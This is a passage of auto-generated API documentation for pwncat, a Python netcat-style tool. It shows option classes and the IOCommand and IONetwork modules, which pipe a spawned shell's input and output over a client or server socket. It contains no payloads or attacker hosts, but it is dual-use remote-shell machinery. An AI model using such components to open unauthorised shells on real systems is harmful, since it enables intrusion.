    def send_on_eof(self):
        # type: () -> bool
        """`float`: Determines if we buffer STDIN until EOF before sending."""
        return self.__send_on_eof

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, encoder, input_timeout, send_on_eof):
        # type: (StringEncoder, Optional[float], bool) -> None
        super(DsIOStdinStdout, self).__init__()
        self.__enc = encoder
        self.__input_timeout = input_timeout
        self.__send_on_eof = send_on_eof

Instance variables

var enc

StringEncoder: String encoder instance.

Expand source code 
@property
def enc(self):
    # type: () -> StringEncoder
    """`StringEncoder`: String encoder instance."""
    return self.__enc
var input_timeout

float: Input timeout in seconds for non-blocking read or None for blocking.

Expand source code 
@property
def input_timeout(self):
    # type: () -> Optional[float]
    """`float`: Input timeout in seconds for non-blocking read or `None` for blocking."""
    return self.__input_timeout
var send_on_eof

float: Determines if we buffer STDIN until EOF before sending.

Expand source code 
@property
def send_on_eof(self):
    # type: () -> bool
    """`float`: Determines if we buffer STDIN until EOF before sending."""
    return self.__send_on_eof
class DsRunnerAction (producer, consumer, interrupts, transformers, daemon_thread, code)

A type-safe data structure for Action functions for the Runner class.

Expand source code 
class DsRunnerAction(object):
    """A type-safe data structure for Action functions for the Runner class."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def producer(self):
        # type: () -> DsCallableProducer
        """`DsCallableProducer`: Data producer function struct with args and kwargs."""
        return self.__producer

    @property
    def consumer(self):
        # type: () -> Callable[[bytes], None]
        """`IO.consumer`: Data consumer function."""
        return self.__consumer

    @property
    def interrupts(self):
        # type: () -> List[Callable[[], None]]
        """`[List[Callable[[], None]]]`: List of interrupt functions for the producer/consumer."""
        return self.__interrupts

    @property
    def transformers(self):
        # type: () -> List[Transform]
        """`[Transform.transformer]`: List of transformer functions applied before consumer."""
        return self.__transformers

    @property
    def daemon_thread(self):
        # type: () -> bool
        """`bool`: Determines if the action will be started in a daemon thread."""
        return self.__daemon_thread

    @property
    def code(self):
        # type: () -> Optional[Union[str, bytes, CodeType]]
        """`ast.AST`: custom Python code which provides a `transform(data, pse) -> str` function."""
        return self.__code

    # --------------------------------------------------------------------------
    # Contrcutor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        producer,  # type: DsCallableProducer
        consumer,  # type: Callable[[bytes], None]
        interrupts,  # type: List[Callable[[], None]]
        transformers,  # type: List[Transform]
        daemon_thread,  # type: bool
        code,  # type: Optional[Union[str, bytes, CodeType]]
    ):
        # type: (...) -> None
        self.__producer = producer
        self.__consumer = consumer
        self.__interrupts = interrupts
        self.__transformers = transformers
        self.__daemon_thread = daemon_thread
        self.__code = code

Instance variables

var code

ast.AST: custom Python code which provides a transform(data, pse) -> str function.

Expand source code 
@property
def code(self):
    # type: () -> Optional[Union[str, bytes, CodeType]]
    """`ast.AST`: custom Python code which provides a `transform(data, pse) -> str` function."""
    return self.__code
var consumer

IO.consumer(): Data consumer function.

Expand source code 
@property
def consumer(self):
    # type: () -> Callable[[bytes], None]
    """`IO.consumer`: Data consumer function."""
    return self.__consumer
var daemon_thread

bool: Determines if the action will be started in a daemon thread.

Expand source code 
@property
def daemon_thread(self):
    # type: () -> bool
    """`bool`: Determines if the action will be started in a daemon thread."""
    return self.__daemon_thread
var interrupts

[List[Callable[[], None]]]: List of interrupt functions for the producer/consumer.

Expand source code 
@property
def interrupts(self):
    # type: () -> List[Callable[[], None]]
    """`[List[Callable[[], None]]]`: List of interrupt functions for the producer/consumer."""
    return self.__interrupts
var producer

DsCallableProducer: Data producer function struct with args and kwargs.

Expand source code 
@property
def producer(self):
    # type: () -> DsCallableProducer
    """`DsCallableProducer`: Data producer function struct with args and kwargs."""
    return self.__producer
var transformers

[Transform.transformer]: List of transformer functions applied before consumer.

Expand source code 
@property
def transformers(self):
    # type: () -> List[Transform]
    """`[Transform.transformer]`: List of transformer functions applied before consumer."""
    return self.__transformers
class DsRunnerRepeater (action, ssig, repeat, pause, args, kwargs)

A type-safe data structure for repeated functions for the Runner class.

Expand source code 
class DsRunnerRepeater(object):
    """A type-safe data structure for repeated functions for the Runner class."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def action(self):
        # type: () -> Callable[..., None]
        """`Callable[..., None]`: function to be run periodically."""
        return self.__action

    @property
    def repeat(self):
        # type: () -> int
        """`int`: how many times to repeat the action function."""
        return self.__repeat

    @property
    def pause(self):
        # type: () -> float
        """`int`: pause in seconds between repeated action calls."""
        return self.__pause

    @property
    def args(self):
        # type: () -> Tuple[Any, ...]
        """`*args`: optional *args for the action function."""
        return self.__args

    @property
    def kwargs(self):
        # type: () -> Dict[str, Any]
        """`**kargs`: optional *kwargs for the action function."""
        return self.__kwargs

    @property
    def ssig(self):
        # type: () -> InterruptHandler
        """`InterruptHandler`: InterruptHandler instance."""
        return self.__ssig

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        action,  # type: Callable[..., None]
        ssig,  # type: InterruptHandler
        repeat,  # type: int
        pause,  # type: float
        args,  # type: Tuple[Any, ...]
        kwargs,  # type: Dict[str, Any]
    ):
        # type: (...) -> None
        assert type(repeat) is int, type(repeat)
        assert type(pause) is float, type(pause)
        assert type(kwargs) is dict, type(kwargs)
        self.__action = action
        self.__ssig = ssig
        self.__repeat = repeat
        self.__pause = pause
        self.__args = args
        self.__kwargs = kwargs

Instance variables

var action

Callable[…, None]: function to be run periodically.

Expand source code 
@property
def action(self):
    # type: () -> Callable[..., None]
    """`Callable[..., None]`: function to be run periodically."""
    return self.__action
var args

*args: optional *args for the action function.

Expand source code 
@property
def args(self):
    # type: () -> Tuple[Any, ...]
    """`*args`: optional *args for the action function."""
    return self.__args
var kwargs

**kargs: optional *kwargs for the action function.

Expand source code 
@property
def kwargs(self):
    # type: () -> Dict[str, Any]
    """`**kargs`: optional *kwargs for the action function."""
    return self.__kwargs
var pause

int: pause in seconds between repeated action calls.

Expand source code 
@property
def pause(self):
    # type: () -> float
    """`int`: pause in seconds between repeated action calls."""
    return self.__pause
var repeat

int: how many times to repeat the action function.

Expand source code 
@property
def repeat(self):
    # type: () -> int
    """`int`: how many times to repeat the action function."""
    return self.__repeat
var ssig

InterruptHandler: InterruptHandler instance.

Expand source code 
@property
def ssig(self):
    # type: () -> InterruptHandler
    """`InterruptHandler`: InterruptHandler instance."""
    return self.__ssig
class DsRunnerTimer (action, ssig, intvl, args, kwargs)

A type-safe data structure for Timer functions for the Runner class.

Expand source code 
class DsRunnerTimer(object):
    """A type-safe data structure for Timer functions for the Runner class."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def action(self):
        # type: () -> Callable[..., None]
        """`Callable[..., None]`: function to be run periodically."""
        return self.__action

    @property
    def intvl(self):
        # type: () -> int
        """`int`: interval at which to run the action function.."""
        return self.__intvl

    @property
    def args(self):
        # type: () -> Tuple[Any, ...]
        """`*args`: optional *args for the action function."""
        return self.__args

    @property
    def kwargs(self):
        # type: () -> Dict[str, Any]
        """`**kargs`: optional *kwargs for the action function."""
        return self.__kwargs

    @property
    def ssig(self):
        # type: () -> InterruptHandler
        """`InterruptHandler`: InterruptHandler instance."""
        return self.__ssig

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        action,  # type: Callable[..., None]
        ssig,  # type: InterruptHandler
        intvl,  # type: int
        args,  # type: Tuple[Any, ...]
        kwargs,  # type: Dict[str, Any]
    ):
        # type: (...) -> None
        assert type(intvl) is int, type(intvl)
        assert type(kwargs) is dict, type(kwargs)
        self.__action = action
        self.__ssig = ssig
        self.__intvl = intvl
        self.__args = args
        self.__kwargs = kwargs

Instance variables

var action

Callable[…, None]: function to be run periodically.

Expand source code 
@property
def action(self):
    # type: () -> Callable[..., None]
    """`Callable[..., None]`: function to be run periodically."""
    return self.__action
var args

*args: optional *args for the action function.

Expand source code 
@property
def args(self):
    # type: () -> Tuple[Any, ...]
    """`*args`: optional *args for the action function."""
    return self.__args
var intvl

int: interval at which to run the action function..

Expand source code 
@property
def intvl(self):
    # type: () -> int
    """`int`: interval at which to run the action function.."""
    return self.__intvl
var kwargs

**kargs: optional *kwargs for the action function.

Expand source code 
@property
def kwargs(self):
    # type: () -> Dict[str, Any]
    """`**kargs`: optional *kwargs for the action function."""
    return self.__kwargs
var ssig

InterruptHandler: InterruptHandler instance.

Expand source code 
@property
def ssig(self):
    # type: () -> InterruptHandler
    """`InterruptHandler`: InterruptHandler instance."""
    return self.__ssig
class DsSock (bufsize, backlog, recv_timeout, nodns, ipv4, ipv6, src_addr, src_port, udp, udp_sconnect, udp_sconnect_word, ip_tos, info)

A type-safe data structure for DsSock options.

Expand source code 
class DsSock(object):
    """A type-safe data structure for DsSock options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def bufsize(self):
        # type: () -> int
        """`int`: Receive buffer size."""
        return self.__bufsize

    @property
    def backlog(self):
        # type: () -> int
        """`int`: Listen backlog."""
        return self.__backlog

    @property
    def recv_timeout(self):
        # type: () -> Optional[float]
        """`float` or `None`: Receive timeout to change blocking socket to time-out based."""
        return self.__recv_timeout

    @property
    def nodns(self):
        # type: () -> bool
        """`bool`: Determines if we resolve hostnames or not."""
        return self.__nodns

    @property
    def ipv4(self):
        # type: () -> bool
        """`bool`: Only use IPv4 instead of both, IPv4 and IPv6."""
        return self.__ipv4

    @property
    def ipv6(self):
        # type: () -> bool
        """`bool`: Only use IPv6 instead of both, IPv4 and IPv6."""
        return self.__ipv6

    @property
    def src_addr(self):
        # type: () -> Optional[str]
        """`bool`: Custom source address for connect mode."""
        return self.__src_addr

    @property
    def src_port(self):
        # type: () -> Optional[int]
        """`bool`: Custom source port for connect mode."""
        return self.__src_port

    @property
    def udp(self):
        # type: () -> bool
        """`bool`: Determines if we use TCP or UDP."""
        return self.__udp

    @property
    def udp_sconnect(self):
        # type: () -> bool
        """`bool`: Determines if we use stateful connect for UDP."""
        return self.__udp_sconnect

    @property
    def udp_sconnect_word(self):
        # type: () -> str
        """`str`: What string to send when emulating a stateful UDP connect."""
        return self.__udp_sconnect_word

    @property
    def ip_tos(self):
        # type: () -> Optional[str]
        """`str`: Determines what IP_TOS (Type of Service) value to set for the socket."""
        return self.__ip_tos

    @property
    def info(self):
        # type: () -> Optional[str]
        """`str`: Determines what info to display about the socket connection."""
        return self.__info

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        bufsize,  # type: int
        backlog,  # type: int
        recv_timeout,  # type: Optional[float]
        nodns,  # type: bool
        ipv4,  # type: bool
        ipv6,  # type: bool
        src_addr,  # type: Optional[str]
        src_port,  # type: Optional[int]
        udp,  # type: bool
        udp_sconnect,  # type: bool
        udp_sconnect_word,  # type: str
        ip_tos,  # type: Optional[str]
        info,  # type: str
    ):
        # type: (...) -> None
        assert type(bufsize) is int, type(bufsize)
        assert type(backlog) is int, type(backlog)
        assert type(recv_timeout) is float, type(recv_timeout)
        assert type(nodns) is bool, type(nodns)
        assert type(ipv4) is bool, type(ipv4)
        assert type(ipv6) is bool, type(ipv6)
        assert type(src_addr) is str or src_addr is None, type(src_addr)
        assert type(src_port) is int or src_port is None, type(src_port)
        assert type(udp) is bool, type(udp)
        self.__bufsize = bufsize
        self.__backlog = backlog
        self.__recv_timeout = recv_timeout
        self.__nodns = nodns
        self.__ipv4 = ipv4
        self.__ipv6 = ipv6
        self.__src_addr = src_addr
        self.__src_port = src_port
        self.__udp = udp
        self.__udp_sconnect = udp_sconnect
        self.__udp_sconnect_word = udp_sconnect_word
        self.__ip_tos = ip_tos
        self.__info = info

Subclasses

Instance variables

var backlog

int: Listen backlog.

Expand source code 
@property
def backlog(self):
    # type: () -> int
    """`int`: Listen backlog."""
    return self.__backlog
var bufsize

int: Receive buffer size.

Expand source code 
@property
def bufsize(self):
    # type: () -> int
    """`int`: Receive buffer size."""
    return self.__bufsize
var info

str: Determines what info to display about the socket connection.

Expand source code 
@property
def info(self):
    # type: () -> Optional[str]
    """`str`: Determines what info to display about the socket connection."""
    return self.__info
var ip_tos

str: Determines what IP_TOS (Type of Service) value to set for the socket.

Expand source code 
@property
def ip_tos(self):
    # type: () -> Optional[str]
    """`str`: Determines what IP_TOS (Type of Service) value to set for the socket."""
    return self.__ip_tos
var ipv4

bool: Only use IPv4 instead of both, IPv4 and IPv6.

Expand source code 
@property
def ipv4(self):
    # type: () -> bool
    """`bool`: Only use IPv4 instead of both, IPv4 and IPv6."""
    return self.__ipv4
var ipv6

bool: Only use IPv6 instead of both, IPv4 and IPv6.

Expand source code 
@property
def ipv6(self):
    # type: () -> bool
    """`bool`: Only use IPv6 instead of both, IPv4 and IPv6."""
    return self.__ipv6
var nodns

bool: Determines if we resolve hostnames or not.

Expand source code 
@property
def nodns(self):
    # type: () -> bool
    """`bool`: Determines if we resolve hostnames or not."""
    return self.__nodns
var recv_timeout

float or None: Receive timeout to change blocking socket to time-out based.

Expand source code 
@property
def recv_timeout(self):
    # type: () -> Optional[float]
    """`float` or `None`: Receive timeout to change blocking socket to time-out based."""
    return self.__recv_timeout
var src_addr

bool: Custom source address for connect mode.

Expand source code 
@property
def src_addr(self):
    # type: () -> Optional[str]
    """`bool`: Custom source address for connect mode."""
    return self.__src_addr
var src_port

bool: Custom source port for connect mode.

Expand source code 
@property
def src_port(self):
    # type: () -> Optional[int]
    """`bool`: Custom source port for connect mode."""
    return self.__src_port
var udp

bool: Determines if we use TCP or UDP.

Expand source code 
@property
def udp(self):
    # type: () -> bool
    """`bool`: Determines if we use TCP or UDP."""
    return self.__udp
var udp_sconnect

bool: Determines if we use stateful connect for UDP.

Expand source code 
@property
def udp_sconnect(self):
    # type: () -> bool
    """`bool`: Determines if we use stateful connect for UDP."""
    return self.__udp_sconnect
var udp_sconnect_word

str: What string to send when emulating a stateful UDP connect.

Expand source code 
@property
def udp_sconnect_word(self):
    # type: () -> str
    """`str`: What string to send when emulating a stateful UDP connect."""
    return self.__udp_sconnect_word
class DsTransformLinefeed (crlf)

A type-safe data structure for DsTransformLinefeed options.

Expand source code 
class DsTransformLinefeed(object):
    """A type-safe data structure for DsTransformLinefeed options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def crlf(self):
        # type: () -> Optional[str]
        """`bool`: Converts line endings to LF, CRLF or CR and noop on `None`."""
        return self.__crlf

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, crlf):
        # type: (Optional[str]) -> None
        super(DsTransformLinefeed, self).__init__()
        self.__crlf = crlf

Instance variables

var crlf

bool: Converts line endings to LF, CRLF or CR and noop on None.

Expand source code 
@property
def crlf(self):
    # type: () -> Optional[str]
    """`bool`: Converts line endings to LF, CRLF or CR and noop on `None`."""
    return self.__crlf
class DsTransformSafeword (ssig, safeword)

A type-safe data structure for DsTransformSafeword options.

Expand source code 
class DsTransformSafeword(object):
    """A type-safe data structure for DsTransformSafeword options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def ssig(self):
        # type: () -> InterruptHandler
        """`InterruptHandler`: InterruptHandler instance to trigger a shutdown signal."""
        return self.__ssig

    @property
    def safeword(self):
        # type: () -> str
        """`str`: The safeword to shutdown the instance upon receiving."""
        return self.__safeword

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, ssig, safeword):
        # type: (InterruptHandler, str) -> None
        super(DsTransformSafeword, self).__init__()
        self.__ssig = ssig
        self.__safeword = safeword

Instance variables

var safeword

str: The safeword to shutdown the instance upon receiving.

Expand source code 
@property
def safeword(self):
    # type: () -> str
    """`str`: The safeword to shutdown the instance upon receiving."""
    return self.__safeword
var ssig

InterruptHandler: InterruptHandler instance to trigger a shutdown signal.

Expand source code 
@property
def ssig(self):
    # type: () -> InterruptHandler
    """`InterruptHandler`: InterruptHandler instance to trigger a shutdown signal."""
    return self.__ssig
class IO (ssig)

Abstract class to for pwncat I/O modules.

This is a skeleton that defines how the I/O module for pwncat should look like.

The "producer" should constantly yield data received from some sort of input which could be user input, output from a shell command data from a socket.

The "callback" will apply some sort of action on the data received from a producer which could be output to stdout, send it to the shell or to a socket.

"The "interrupts" are a list of funtions that trigger the producer to stop and return to its parent thread/function. The producer must also be implemented in a way that it is able to act on the event which the "interrupt" func emitted.

Set specific options for this IO module.

Args

ssig : InterruptHandler
InterruptHandler instance used by the interrupter.
Expand source code 
class IO(ABC):  # type: ignore
    """Abstract class to for pwncat I/O modules.

    This is a skeleton that defines how the I/O module for pwncat should look like.

    The "producer" should constantly yield data received from some sort of input
    which could be user input, output from a shell command data from a socket.

    The "callback" will apply some sort of action on the data received from a producer
    which could be output to stdout, send it to the shell or to a socket.

    "The "interrupts" are a list of funtions that trigger the producer to stop
    and return to its parent thread/function. The producer must also be implemented
    in a way that it is able to act on the event which the "interrupt" func emitted.
    """

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def ssig(self):
        # type: () -> InterruptHandler
        """`InterruptHandler`: InterruptHandler instance."""
        return self.__ssig

    @property
    def log(self):
        # type: () -> logging.Logger
        """`TraceLogger`: Logger instance."""
        return self.__log

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    @abstractmethod
    def __init__(self, ssig):
        # type: (InterruptHandler) -> None
        """Set specific options for this IO module.

        Args:
            ssig (InterruptHandler): InterruptHandler instance used by the interrupter.
        """
        super(IO, self).__init__()
        self.__ssig = ssig
        self.__log = logging.getLogger(__name__)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    @abstractmethod
    def producer(self, *args, **kwargs):
        # type: (Any, Any) -> Iterator[bytes]
        """Implement a generator function which constantly yields data.

        The data could be from various sources such as: received from a socket,
        received from user input, received from shell command output or anything else.

        Yields:
            str: Data generated/produced by this function.
        """

    @abstractmethod
    def consumer(self, data):
        # type: (bytes) -> None
        """Define a consumer callback which will apply an action on the producer output.

        Args:
            data (str): Data retrieved from the producer to work on.
        """

    @abstractmethod
    def interrupt(self):
        # type: () -> None
        """Define an interrupt function which will stop the producer.

        Various producer might call blocking functions and they won't be able to stop themself
        as they hang on that blocking function.
        NOTE: This method is triggered from outside and is supposed to stop/shutdown the producer.
        """

Ancestors

  • abc.ABC

Subclasses

Instance variables

var log

TraceLogger: Logger instance.

Expand source code 
@property
def log(self):
    # type: () -> logging.Logger
    """`TraceLogger`: Logger instance."""
    return self.__log
var ssig

InterruptHandler: InterruptHandler instance.

Expand source code 
@property
def ssig(self):
    # type: () -> InterruptHandler
    """`InterruptHandler`: InterruptHandler instance."""
    return self.__ssig

Methods

def consumer(self, data)

Define a consumer callback which will apply an action on the producer output.

Args

data : str
Data retrieved from the producer to work on.
Expand source code 
@abstractmethod
def consumer(self, data):
    # type: (bytes) -> None
    """Define a consumer callback which will apply an action on the producer output.

    Args:
        data (str): Data retrieved from the producer to work on.
    """
def interrupt(self)

Define an interrupt function which will stop the producer.

Various producer might call blocking functions and they won't be able to stop themself as they hang on that blocking function. NOTE: This method is triggered from outside and is supposed to stop/shutdown the producer.

Expand source code 
@abstractmethod
def interrupt(self):
    # type: () -> None
    """Define an interrupt function which will stop the producer.

    Various producer might call blocking functions and they won't be able to stop themself
    as they hang on that blocking function.
    NOTE: This method is triggered from outside and is supposed to stop/shutdown the producer.
    """
def producer(self, *args, **kwargs)

Implement a generator function which constantly yields data.

The data could be from various sources such as: received from a socket, received from user input, received from shell command output or anything else.

Yields

str
Data generated/produced by this function.
Expand source code 
@abstractmethod
def producer(self, *args, **kwargs):
    # type: (Any, Any) -> Iterator[bytes]
    """Implement a generator function which constantly yields data.

    The data could be from various sources such as: received from a socket,
    received from user input, received from shell command output or anything else.

    Yields:
        str: Data generated/produced by this function.
    """
class IOCommand (ssig, opts)

Implement command execution functionality.

Attributes

proc : subprocess.Popen
subprocess.Popen instance.

Set specific options for this I/O module.

Args

ssig : InterruptHandler
Instance of InterruptHandler.
opts : DsIOCommand
Custom module options.
Expand source code 
class IOCommand(IO):
    """Implement command execution functionality.

    Attributes:
        proc (subprocess.Popen): subprocess.Popen instance.
    """

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, ssig, opts):
        # type: (InterruptHandler, DsIOCommand) -> None
        """Set specific options for this I/O module.

        Args:
            ssig (InterruptHandler): Instance of InterruptHandler.
            opts (DsIOCommand): Custom module options.
        """
        super(IOCommand, self).__init__(ssig)
        self.__opts = opts
        self.log.debug("Setting '%s' as executable", self.__opts.executable)

        # Did we already run cleanup
        self.__cleaned_up = False

        # If we receive only one byte at a time, the remote end is most likely
        # in raw mode and we will also start sending one byte at a time.
        # This will be determined in the consumer and action is taken in
        # the producer.
        self.__remote_is_raw = False

        # Open executable to wait for commands
        env = os.environ.copy()
        try:
            self.proc = Popen(  # pylint: disable=consider-using-with
                self.__opts.executable,
                stdin=PIPE,
                stdout=PIPE,
                stderr=STDOUT,
                bufsize=self.__opts.bufsize,
                shell=False,
                env=env,
            )
        except FileNotFoundError:
            self.log.error("Specified executable '%s' not found", self.__opts.executable)
            sys.exit(1)
        # Python-2 compat (doesn't have FileNotFoundError)
        except OSError:
            self.log.error("Specified executable '%s' not found", self.__opts.executable)
            sys.exit(1)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def producer(self, *args, **kwargs):
        # type: (Any, Any) -> Iterator[bytes]
        """Constantly ask for input.

        Yields:
            str: Data received from command output.
        """
        assert self.proc.stdout is not None
        while True:
            if self.ssig.has_command_quit():
                self.log.trace("COMMAND-QUIT signal ACK IOCommand.producer (1)")  # type: ignore
                self.__cleanup()
                return
            self.log.trace("Reading command output")  # type: ignore
            # Byte-wise reading is required to make it work for remote ends being in raw mode
            # However, the performance of self.proc.stdout.readline() is way faster.
            # To improve performance we will get rid of all other logging calls here.
            if self.__remote_is_raw:
                data = self.proc.stdout.read(1)
            else:
                data = self.proc.stdout.readline()
            self.log.trace("Command output: %s", repr(data))  # type: ignore
            if not data:
                if self.ssig.has_command_quit():
                    self.log.trace("COMMAND-QUIT signal ACK IOCommand.producer (2)")  # type: ignore
                    self.__cleanup()
                    return
                # This usually happens when sending a semicolon only to /bin/[ba]sh
                # which then responds with: /bin/sh: line 5: syntax error near unexpected token `;'
                # Afterwards the shell is corrupt and gone so we will restart it here.
                self.log.error("COMMAND-EOF restarting: %s", self.__opts.executable)
                self.proc = Popen(  # pylint: disable=consider-using-with
                    self.__opts.executable,
                    stdin=PIPE,
                    stdout=PIPE,
                    stderr=STDOUT,
                    bufsize=self.__opts.bufsize,
                    shell=False,
                    env=os.environ.copy(),
                )
                continue
            yield data

    def consumer(self, data):
        # type: (bytes) -> None
        """Send data received to stdin (command input).

        Args:
            data (str): Command to execute.
        """
        # If we only receive one byte at a time, also tell the consumer
        # to send one byte at a time immediately and not to wait for a full line.
        if len(data) == 1:
            self.__remote_is_raw = True
        else:
            self.__remote_is_raw = False

        assert self.proc.stdin is not None
        self.log.trace("Appending to stdin: %s", repr(data))  # type: ignore
        try:
            self.proc.stdin.write(data)
            self.proc.stdin.flush()
        except BrokenPipeError:
            pass

    def interrupt(self):
        # type: () -> None
        """Stop function that can be called externally to close this instance."""
        self.log.trace("COMMAND-QUIT signal RAISED IOCommand.interrupt")  # type: ignore
        self.ssig.raise_command_quit()
        self.__cleanup()

    def __cleanup(self):
        # type: () -> None
        """Cleanup function."""
        if not self.__cleaned_up:
            self.log.trace(  # type: ignore
                "COMMAND-QUIT-CLEANUP: killing executable: %s with pid %d",
                self.__opts.executable,
                self.proc.pid,
            )
            self.proc.kill()
            self.__cleaned_up = True

Ancestors

  • IO
  • abc.ABC

Methods

def consumer(self, data)

Send data received to stdin (command input).

Args

data : str
Command to execute.
Expand source code 
def consumer(self, data):
    # type: (bytes) -> None
    """Send data received to stdin (command input).

    Args:
        data (str): Command to execute.
    """
    # If we only receive one byte at a time, also tell the consumer
    # to send one byte at a time immediately and not to wait for a full line.
    if len(data) == 1:
        self.__remote_is_raw = True
    else:
        self.__remote_is_raw = False

    assert self.proc.stdin is not None
    self.log.trace("Appending to stdin: %s", repr(data))  # type: ignore
    try:
        self.proc.stdin.write(data)
        self.proc.stdin.flush()
    except BrokenPipeError:
        pass
def interrupt(self)

Stop function that can be called externally to close this instance.

Expand source code 
def interrupt(self):
    # type: () -> None
    """Stop function that can be called externally to close this instance."""
    self.log.trace("COMMAND-QUIT signal RAISED IOCommand.interrupt")  # type: ignore
    self.ssig.raise_command_quit()
    self.__cleanup()
def producer(self, *args, **kwargs)

Constantly ask for input.

Yields

str
Data received from command output.
Expand source code 
def producer(self, *args, **kwargs):
    # type: (Any, Any) -> Iterator[bytes]
    """Constantly ask for input.

    Yields:
        str: Data received from command output.
    """
    assert self.proc.stdout is not None
    while True:
        if self.ssig.has_command_quit():
            self.log.trace("COMMAND-QUIT signal ACK IOCommand.producer (1)")  # type: ignore
            self.__cleanup()
            return
        self.log.trace("Reading command output")  # type: ignore
        # Byte-wise reading is required to make it work for remote ends being in raw mode
        # However, the performance of self.proc.stdout.readline() is way faster.
        # To improve performance we will get rid of all other logging calls here.
        if self.__remote_is_raw:
            data = self.proc.stdout.read(1)
        else:
            data = self.proc.stdout.readline()
        self.log.trace("Command output: %s", repr(data))  # type: ignore
        if not data:
            if self.ssig.has_command_quit():
                self.log.trace("COMMAND-QUIT signal ACK IOCommand.producer (2)")  # type: ignore
                self.__cleanup()
                return
            # This usually happens when sending a semicolon only to /bin/[ba]sh
            # which then responds with: /bin/sh: line 5: syntax error near unexpected token `;'
            # Afterwards the shell is corrupt and gone so we will restart it here.
            self.log.error("COMMAND-EOF restarting: %s", self.__opts.executable)
            self.proc = Popen(  # pylint: disable=consider-using-with
                self.__opts.executable,
                stdin=PIPE,
                stdout=PIPE,
                stderr=STDOUT,
                bufsize=self.__opts.bufsize,
                shell=False,
                env=os.environ.copy(),
            )
            continue
        yield data

Inherited members

class IONetwork (ssig, encoder, host, ports, role, srv_opts, cli_opts, sock_opts)

Pwncat implementation based on custom Socket library.

Create a Pwncat instance of either a server or a client.

Args

ssig : InterruptHandler
Instance of InterruptHandler.
encoder : StringEncoder
Instance of StringEncoder (Python2/3 str/byte compat).
host : str
The hostname to resolve.
ports : [int]
List of ports to connect to or listen on.
role : str
Either "server" or "client".
srv_opts : DsIONetworkSrv
Options for the server.
cli_opts : DsIONetworkCli
Options for the client.
sock_opts : DsIONetworkSock
Options to parse back to Sock.
Expand source code 
class IONetwork(IO):
    """Pwncat implementation based on custom Socket library."""

    @property
    def net(self):
        # type: () -> Net
        """Returns instance of Net."""
        return self.__net

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        ssig,  # type: InterruptHandler
        encoder,  # type: StringEncoder
        host,  # type: str
        ports,  # type: List[int]
        role,  # type: str
        srv_opts,  # type: DsIONetworkSrv
        cli_opts,  # type: DsIONetworkCli
        sock_opts,  # type: DsIONetworkSock
    ):
        # type: (...) -> None
        """Create a Pwncat instance of either a server or a client.

        Args:
            ssig (InterruptHandler): Instance of InterruptHandler.
            encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat).
            host (str): The hostname to resolve.
            ports ([int]): List of ports to connect to or listen on.
            role (str): Either "server" or "client".
            srv_opts (DsIONetworkSrv):   Options for the server.
            cli_opts (DsIONetworkCli):   Options for the client.
            sock_opts (DsIONetworkSock): Options to parse back to Sock.
        """
        assert role in ["server", "client"], "The role must be 'server' or 'client'."
        super(IONetwork, self).__init__(ssig)

        self.__role = role
        self.__net = Net(encoder, ssig, sock_opts)
        self.__sock_opts = sock_opts
        self.__srv_opts = srv_opts
        self.__cli_opts = cli_opts

        # Did we already run cleanup
        self.__cleaned_up = False

        # Internally store addresses for reconn or rebind functions
        self.__host = host
        self.__ports = ports
        self.__pport = 0  # pointer to the current port

        if role == "server":
            if not self.__net.run_server(self.__host, self.__ports[self.__pport]):
                if not self.__server_rebind():
                    sys.exit(1)
        if role == "client":
            if not self.__net.run_client(self.__host, self.__ports[self.__pport]):
                if not self.__client_reconnect_to_server():
                    sys.exit(1)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def producer(self, *args, **kwargs):
        # type: (Any, Any) -> Iterator[bytes]
        """Network receive generator which hooks into the receive function and adds features.

        Yields:
            str: Data received from a connected socket.
        """
        # Counter for receive retries once this side of the program
        # shuts down (e.g.: Ctrl+c) as there could be data left on the wire.
        curr_recv_timeout_retry = 0

        # Loop endlessly and yield data back to the caller
        while True:
            # [1/3] Generate data
            try:
                yield self.__net.receive()
            # [2/3] Non-blocking socket is finished receiving data and allows us to do some action
            except socket.timeout as err:
                # Check if we close the socket for sending
                if self.ssig.has_sock_send_eof():
                    self.log.trace(  # type: ignore
                        "SOCK-SEND-EOF signal ACK in IONetwork.producer [1]: %s", err
                    )
                    self.__net.send_eof()

                # Let's ask the interrupter() function if we should terminate?
                if not self.ssig.has_sock_quit():
                    continue
                # Stop signal is raied when my own side of the network was closed.
                # Happened most likely that the user pressed Ctrl+c
                # Before quitting, we will check x many times, if there is still
                # data left to receive, before shutting down.
                if curr_recv_timeout_retry < self.__sock_opts.recv_timeout_retry:
                    self.log.trace(  # type: ignore
                        "Final socket read: %d/%d before quitting.",
                        curr_recv_timeout_retry + 1,
                        self.__sock_opts.recv_timeout_retry,
                    )
                    curr_recv_timeout_retry += 1
                    continue
                # We ware all done reading, shut down
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.producer [1]: %s", err
                )
